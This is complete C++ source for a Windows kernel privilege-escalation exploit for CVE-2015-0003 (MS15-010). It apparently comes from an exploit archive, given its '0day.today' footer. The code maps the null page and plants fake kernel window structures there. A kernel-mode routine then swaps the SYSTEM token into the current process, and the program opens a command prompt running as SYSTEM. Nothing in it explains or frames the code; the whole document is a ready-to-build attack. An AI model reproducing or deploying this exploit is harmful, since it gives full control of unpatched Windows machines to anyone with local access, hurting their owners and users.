Microsoft Windows - Local Privilege Escalation (MS15-010) Exploit

// ex.cpp
/*
    Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
    CVE-2015-0003
    March 2015 (Public Release: May 24, 2015)
 
    Tested on:
                x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
                x64: Win 2k8 SP1 | Win 2k8 R2 SP1
 
    Author: Skylake - skylake <at> mail <dot> com
*/
 
#include "ex.h"
 
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_PsReferencePrimaryToken PsReferencePrimaryToken;
DWORD Pid;
ATOM atom;
BOOL KrnlMode, bSpawned;
 
DWORD_PTR WINAPI pti()
{
#ifdef _M_X64
    LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
    return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
#else
    LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
    return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
#endif
}
 
BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
{
    DWORD_PTR dwIndex, dwMask;
 
#ifdef _M_X64
    dwMask = ~0xf;
#else
    dwMask = ~7;
#endif
    //
    dwCurrentValue &= dwMask;
 
    for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
    {
        if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
        {
            //
            pdwStructure[dwIndex] = dwNewValue;
            return TRUE;
        }
    }
 
    return FALSE;
}
 
BOOL WINAPI Init()
{
    HMODULE hMod = NULL;
    PVOID Base = NULL;
    OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
    PSYSTEM_MODULE_INFORMATION pm = NULL;
    BOOL RetVal = FALSE;
 
    __try {
 
        if( !GetVersionEx( &ov ) ) __leave;
 
        if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
        {
            atom = 0xc039;
        }
 
        else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
        {
            atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
        }
 
        if( !atom ) __leave;
 
        _ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
        if( !ZwQuerySystemInformation ) __leave;
 
        ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
        if( !ZwAllocateVirtualMemory ) __leave;
 
        ULONG len;
        LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
        if( !status ) __leave;
 
        pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
        if( !pm ) __leave;
        status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
        if( status ) __leave;
 
        CHAR szKrnl[MAX_PATH] = { 0 }, *t;
 
        for( ULONG i = 0; i < pm->Count; ++i )
        {
            if( strstr( pm->Module[i].ImageName, "exe" ) )
            {
                t = strstr( pm->Module[i].ImageName, "nt" );
                if( t )
                {
                    strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
                    Base = pm->Module[i].Base;
                    break;
                }
            }
        }
 
        hMod = LoadLibraryA( szKrnl );
 
        if( !hMod || !Base ) __leave;
         
        PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
        if( !PsLookupProcessByProcessId ) __leave;
 
        PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );
 
        PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );
 
        if( !PsReferencePrimaryToken ) __leave;
 
        PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
        Pid = GetCurrentProcessId();
        RetVal = TRUE;
    }
 
    __finally {
        if( pm ) LocalFree( pm );
        if( hMod ) FreeLibrary( hMod );
    }
 
    return RetVal;
}
 
LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
    LPVOID pCurProcess = NULL;
    LPVOID pSystemInfo = NULL;
    PACCESS_TOKEN systemToken;
    PACCESS_TOKEN targetToken;
 
    PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
    PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );
 
    targetToken = PsReferencePrimaryToken( pCurProcess );
    systemToken = PsReferencePrimaryToken( pSystemInfo );
 
    //
    find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
        ( DWORD_PTR ) targetToken,
        ( DWORD_PTR ) systemToken,
        0x200 );
    KrnlMode = TRUE;
    return  0;
}
 
VOID WINAPI leave()
{
    keybd_event( VK_ESCAPE, 0, 0, NULL );
    keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
    keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
}
 
LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
{
    if( bSpawned )
    {
        leave();
        ExitProcess( 0 );
    }
 
    switch( message )
    {
    case WM_CREATE:
        SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
        FlashWindow( hWnd, TRUE );
        keybd_event( VK_LWIN, 0, 0, NULL );
        break;
    case WM_CLOSE:
        DestroyWindow( hWnd );
        break;
    case WM_DESTROY:
        PostQuitMessage( 0 );
        break;
    case WM_TIMER:
        KillTimer( hWnd, ID_TIMER );
        leave();
        DestroyWindow( hWnd );
        break;
    default:
        return DefWindowProc( hWnd, message, wParam, lParam );
    }
    return 0;
}
 
int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPTSTR    lpCmdLine,
    _In_ int       nCmdShow )
{
    WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
    HWND hWnd = NULL;
    MSG Msg = { 0 };
 
    SIZE_T size = 0x1000;
    LPVOID addr = ( LPVOID ) 1;
 
    if( !Init() ) return 1;
     
    if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
    {
        //
        return 1;
    }
 
    DWORD_PTR p = pti();
    if( !p ) return 1;
 
#ifdef _M_X64
    *( ( PDWORD_PTR ) 0x10 ) = p;
    *( ( LPBYTE ) 0x2a ) = 4;
    *( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
    *( ( PDWORD_PTR ) 0xa8 ) = 0x400;
    *( ( LPDWORD ) 0x404 ) = 1;
    *( ( PDWORD_PTR ) 0x408 ) = 0x800;
    *( ( LPWORD ) 0x410 ) = atom;
    *( ( LPBYTE ) 0x412 ) = 1;
#else
    *( ( LPDWORD ) 0x08 ) = p;
    *( ( LPBYTE ) 0x16 ) = 4;
    *( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
    *( ( LPDWORD ) 0x6c ) = 0x400;
    *( ( LPDWORD ) 0x404 ) = 1;
    *( ( LPDWORD ) 0x408 ) = 0x800;
    *( ( LPWORD ) 0x40c ) = atom;
    *( ( LPBYTE ) 0x40e ) = 1;
#endif
 
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT( "Class" );
     
    if( !RegisterClassEx( &wc ) )
        return 1;
    hWnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        TEXT( "Class" ),
        TEXT( "Window" ),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,
        NULL, NULL, hInstance, NULL );
    if( !hWnd )
        return 1;
    ShowWindow( hWnd, SW_HIDE );
    UpdateWindow( hWnd );
 
    while( GetMessage( &Msg, NULL, 0, 0 ) )
    {
        if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010
        {
            if( !KrnlMode )
            {
                Msg.hwnd = ( HWND ) NULL;
            }
            else
            {
                Msg.hwnd = hWnd;
                if( !bSpawned )
                {
                    ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );
                    bSpawned = TRUE;
                }
            }
        }
 
        TranslateMessage( &Msg );
        DispatchMessage( &Msg );
    }
 
    return ( int ) Msg.wParam;
}
// EOF
 
 
 
 
 
 
//ex.h
 
#pragma once
 
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
 
typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (
    _In_    HANDLE    ProcessHandle,
    _Inout_ PVOID     *BaseAddress,
    _In_    ULONG_PTR ZeroBits,
    _Inout_ PSIZE_T   RegionSize,
    _In_    ULONG     AllocationType,
    _In_    ULONG     Protect
    );
 
typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (
    _In_  HANDLE ProcessId,
    _Out_ PVOID  *Process
    );
 
typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (
    _Inout_ PVOID Process
    );
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;
 
typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_   PVOID                    SystemInformation,
    _In_      ULONG                    SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength
    );
 
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID  MappedBase;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 
#define ID_TIMER    0x1
#define WM_SYSTIMER 0x118
// EOF

#  0day.today [2018-02-05]  #